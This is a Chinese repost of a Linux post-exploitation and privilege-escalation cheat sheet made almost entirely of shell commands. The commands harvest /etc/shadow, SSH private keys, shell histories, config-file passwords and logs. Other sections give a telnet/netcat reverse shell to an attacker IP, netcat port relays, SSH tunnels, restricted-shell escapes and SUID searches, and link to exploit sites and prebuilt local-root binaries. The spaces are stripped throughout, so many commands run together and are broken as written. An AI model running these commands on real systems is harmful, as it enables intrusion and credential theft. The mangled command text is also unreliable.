[转] 史上最全Linux提权后获取敏感信息方法

(Linux)的提权是怎么一回事:

收集–枚举,枚举和一些更多的枚举。过程–通过数据排序,分析和确定优先次序。搜索–知道搜索什么和在哪里可以找到漏洞代码。适应–自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。尝试–做好准备,试验和错误。

系统类型

系统是什么版本?

cat/etc/issuecat/etc/*-releasecat/etc/lsb-releasecat/etc/redhat-release

它的内核版本是什么?

cat/proc/versionuname-auname-mrsrpm-qkerneldmesg|grepLinuxls/boot|grepvmlinuz

它的环境变量里有些什么?

cat/etc/profilecat/etc/bashrccat~/.bash_profilecat~/.bashrccat~/.bash_logoutenvset

是否有台打印机?

lpstat-a

应用与服务

正在运行什么服务?什么样的服务具有什么用户权限?

psauxps-eftopcat/etc/service

哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!

psaux|greprootps-ef|greproot

安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?

ls-alh/usr/bin/ls-alh/sbin/dpkg-lrpm-qals-alh/var/cache/apt/archivesOls-alh/var/cache/yum/

Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?

cat/etc/syslog.confcat/etc/chttp.confcat/etc/lighttpd.confcat/etc/cups/cupsd.confcat/etc/inetd.confcat/etc/apache2/apache2.confcat/etc/my.confcat/etc/httpd/conf/httpd.confcat/opt/lampp/etc/httpd.confls-aRl/etc/|awk‘$1~/^.*r.*/

主机上有哪些工作计划?

crontab-lls-alh/var/spool/cronls-al/etc/|grepcronls-al/etc/cron*cat/etc/cron*cat/etc/at.allowcat/etc/at.denycat/etc/cron.allowcat/etc/cron.denycat/etc/crontabcat/etc/anacrontabcat/var/spool/cron/crontabs/root

主机上可能有哪些纯文本用户名和密码?

grep-iuser[filename]grep-ipass[filename]grep-C5"password"[filename]find.-name"*.php"-print0|xargs-0grep-i-n"var$password"#Joomla

通信与网络

NIC(s),系统有哪些?它是连接到哪一个网络?

/sbin/ifconfig-acat/etc/network/interfacescat/etc/sysconfig/network

网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?

cat/etc/resolv.confcat/etc/sysconfig/networkcat/etc/networksiptables-Lhostnamednsdomainname

其他用户主机与系统的通信?

lsof-ilsof-i:80grep80/etc/servicesnetstat-antupnetstat-antpxnetstat-tulpnchkconfig--listchkconfig--list|grep3:onlastw

缓存?IP和/或MAC地址?

arp-eroute/sbin/route-nee

数据包可能嗅探吗?可以看出什么?监听流量

#tcpdumptcpdst[ip][port]andtcpdst[ip][port]tcpdumptcpdst192.168.1.780andtcpdst10.2.2.22221

你如何get一个shell?你如何与系统进行交互?

#http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/nc-lvp4444#Attacker.输入(命令)nc-lvp4445#Attacker.输出(结果)telnet[atackersip]44444|/bin/sh|[localip]44445#在目标系统上.使用攻击者的IP!

如何端口转发?(端口重定向)

# rinetd

#http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

# fpipe

#FPipe.exe-l[localport]-r[remoteport]-s[localport][localIP]FPipe.exe-l80-r80-s80192.168.1.7

#ssh

#ssh-[L/R][localport]:[remoteip]:[remoteport][localuser]@[localip]ssh-L8080:127.0.0.1:80root@192.168.1.7#LocalPortssh-R8080:127.0.0.1:80root@192.168.1.7#RemotePort

#mknod

#mknodbackpipep;nc-l-p[remoteport]<backpipe|nc[localIP][localport]>backpipemknodbackpipep;nc-l-p8080<backpipe|nc10.1.1.25180>backpipe#PortRelaymknodbackpipep;nc-l-p80800&<backpipe|tee-ainflow|nclocalhost80|tee-aoutflow1>backpipe#Proxy(Port80to8080)

mknod

backpipep;nc-l-p80800&<backpipe|tee-ainflow|nclocalhost80|tee-aoutflow&1>backpipe#Proxymonitor(Port80to8080)

建立隧道可能吗?本地,远程发送命令

ssh-D127.0.0.1:9050-N[username]@[ip]proxychainsifconfig

秘密信息和用户

你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

idwhowlastcat/etc/passwd|cut-d:#Listofusersgrep-v-E"^#"/etc/passwd|awk-F:'$3==0{print$1}'#Listofsuperusersawk-F:'($3=="0"){print}'/etc/passwd#Listofsuperuserscat/etc/sudoerssudo-l

可以找到什么敏感文件?

cat/etc/passwdcat/etc/groupcat/etc/shadowls-alh/var/mail/

什么有趣的文件在home/directorie(S)里?如果有权限访问

ls-ahlR/root/ls-ahlR/home/

是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

cat/var/apache2/config.inccat/var/lib/mysql/mysql/user.MYDcat/root/anaconda-ks.cfg

用户做过什么?是否有任何密码呢?他们有没有编辑什么?

cat~/.bash_historycat~/.nano_historycat~/.atftp_historycat~/.mysql_historycat~/.php_history

可以找到什么样的用户信息

cat~/.bashrccat~/.profilecat/var/mail/rootcat/var/spool/mail/root

private-key 信息能否被发现?

cat~/.ssh/authorized_keyscat~/.ssh/identity.pubcat~/.ssh/identitycat~/.ssh/id_rsa.pubcat~/.ssh/id_rsacat~/.ssh/id_dsa.pubcat~/.ssh/id_dsacat/etc/ssh/ssh_configcat/etc/ssh/sshd_configcat/etc/ssh/ssh_host_dsa_key.pubcat/etc/ssh/ssh_host_dsa_keycat/etc/ssh/ssh_host_rsa_key.pubcat/etc/ssh/ssh_host_rsa_keycat/etc/ssh/ssh_host_key.pubcat/etc/ssh/ssh_host_key

文件系统

哪些用户可以写配置文件在/ etc /?能够重新配置服务?

ls-aRl/etc/|awk‘$1~/^.*w.*/'2>/dev/null#Anyonels-aRl/etc/|awk’$1~/^..w/'2>/dev/null#Ownerls-aRl/etc/|awk‘$1~/^.....w/'2>/dev/null#Groupls-aRl/etc/|awk’;$1~/w.$/'2>/dev/null#Otherfind/etc/-readable-typef2>/dev/null#Anyonefind/etc/-readable-typef-maxdepth12>/dev/null#Anyone

在/ var /有什么可以发现?

ls-alh/var/logls-alh/var/maills-alh/var/spoolls-alh/var/spool/lpdls-alh/var/lib/pgsqlls-alh/var/lib/mysqlcat/var/lib/dhcp3/dhclient.leases

网站上的任何隐藏配置/文件?配置文件与数据库信息?

ls-alhR/var/www/ls-alhR/srv/www/htdocs/ls-alhR/usr/local/www/apache22/data/ls-alhR/opt/lampp/htdocs/ls-alhR/var/www/html/

有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

#http://www.thegeekstuff.com/2011/08/linux-var-log-files/cat/etc/httpd/logs/access_logcat/etc/httpd/logs/access.logcat/etc/httpd/logs/error_logcat/etc/httpd/logs/error.logcat/var/log/apache2/access_logcat/var/log/apache2/access.logcat/var/log/apache2/error_logcat/var/log/apache2/error.logcat/var/log/apache/access_logcat/var/log/apache/access.logcat/var/log/auth.logcat/var/log/chttp.logcat/var/log/cups/error_logcat/var/log/dpkg.logcat/var/log/faillogcat/var/log/httpd/access_logcat/var/log/httpd/access.logcat/var/log/httpd/error_logcat/var/log/httpd/error.logcat/var/log/lastlogcat/var/log/lighttpd/access.logcat/var/log/lighttpd/error.logcat/var/log/lighttpd/lighttpd.access.logcat/var/log/lighttpd/lighttpd.error.logcat/var/log/messagescat/var/log/securecat/var/log/syslogcat/var/log/wtmpcat/var/log/xferlogcat/var/log/yum.logcat/var/run/utmpcat/var/webmin/miniserv.logcat/var/www/logs/access_logcat/var/www/logs/access.logls-alh/var/lib/dhcp3/ls-alh/var/log/postgresql/ls-alh/var/log/proftpd/ls-alh/var/log/samba/#

auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info,

mail.log, mail.warn, messages, syslog, udev, wtmp(有什么文件?log.系统引导……)

如果命令限制,你可以打出哪些突破它的限制?

python-c'importpty;pty.spawn("/bin/bash")'echoos.system('/bin/bash')/bin/sh-i

如何安装文件系统?

mountdf-h

是否有挂载的文件系统?

cat/etc/fstab

什么是高级Linux文件权限使用?Sticky bits, SUID 和GUID

find/-perm-1000-typed2>/dev/null#Stickybit-Onlytheownerofthedirectoryortheownerofafilecandeleteorrenameherefind/-perm-g=s-typef2>/dev/null#SGID(chmod2000)-runasthegroup,nottheuserwhostartedit.find/-perm-u=s-typef2>/dev/null#SUID(chmod4000)-runastheowner,nottheuserwhostartedit.find/-perm-g=s-o-perm-u=s-typef2>/dev/null#SGIDorSUIDforiin`locate-r"bin$"`;dofind$i(-perm-4000-o-perm-2000)-typef2>/dev/null;done#Looksin'common'places:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbinandanyother*bin,forSGIDorSUID(Quickersearch)#findstartingatroot(/),SGIDorSUID,notSymboliclinks,only3foldersdeep,listwithmoredetailandhideanyerrors(e.g.permissiondenied)find/-perm-g=s-o-perm-4000!-typel-maxdepth3-execls-ld{};2>/dev/null

在哪些目录可以写入和执行呢?几个“共同”的目录:/ tmp目录,/var / tmp目录/ dev /shm目录

find/-writable-typed2>/dev/null#world-writeablefoldersfind/-perm-222-typed2>/dev/null#world-writeablefoldersfind/-perm-o+w-typed2>/dev/null#world-writeablefoldersfind/-perm-o+x-typed2>/dev/null#world-executablefoldersfind/(-perm-o+w-perm-o+x)-typed2>/dev/null#world-writeable&executablefoldersAny"problem"files?可写的的,“没有使用"的文件find/-xdev-typed(-perm-0002-a!-perm-1000)-print#world-writeablefilesfind/dir-xdev(-nouser-o-nogroup)-print#Noownerfiles

准备和查找漏洞利用代码

安装了什么开发工具/语言/支持?

find/-nameperl*find/-namepython*find/-namegcc*find/-namecc

如何上传文件?

find/-namewgetfind/-namenc*find/-namenetcat*find/-nametftp*find/-nameftp

查找exploit代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

查找更多有关漏洞的信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]]http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]

http://www.vulnview.com/cve-details.php?cvename=[CVE]]http://www.vulnview.com/cve-details.php?cvename=[CVE]

http://www.91ri.org/

(快速)“共同的“exploit,预编译二进制代码文件

http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

上面的信息很难吗?

快去使用第三方脚本/工具来试试吧!

系统怎么打内核,操作系统,所有应用程序,插件和Web服务的最新补丁?

apt-getupdate&&apt-getupgradeyumupdate

服务运行所需的最低的权限?

例如,你需要以root身份运行MySQL?

能够从以下网站找到自动运行的脚本?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net

(快速)指南和链接

例如

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

其他

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

文章中文来源:?http://www.91ri.org/7459.html

英文原文:http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

[转] 史上最全Linux提权后获取敏感信息方法

相关文章:

你感兴趣的文章:

标签云: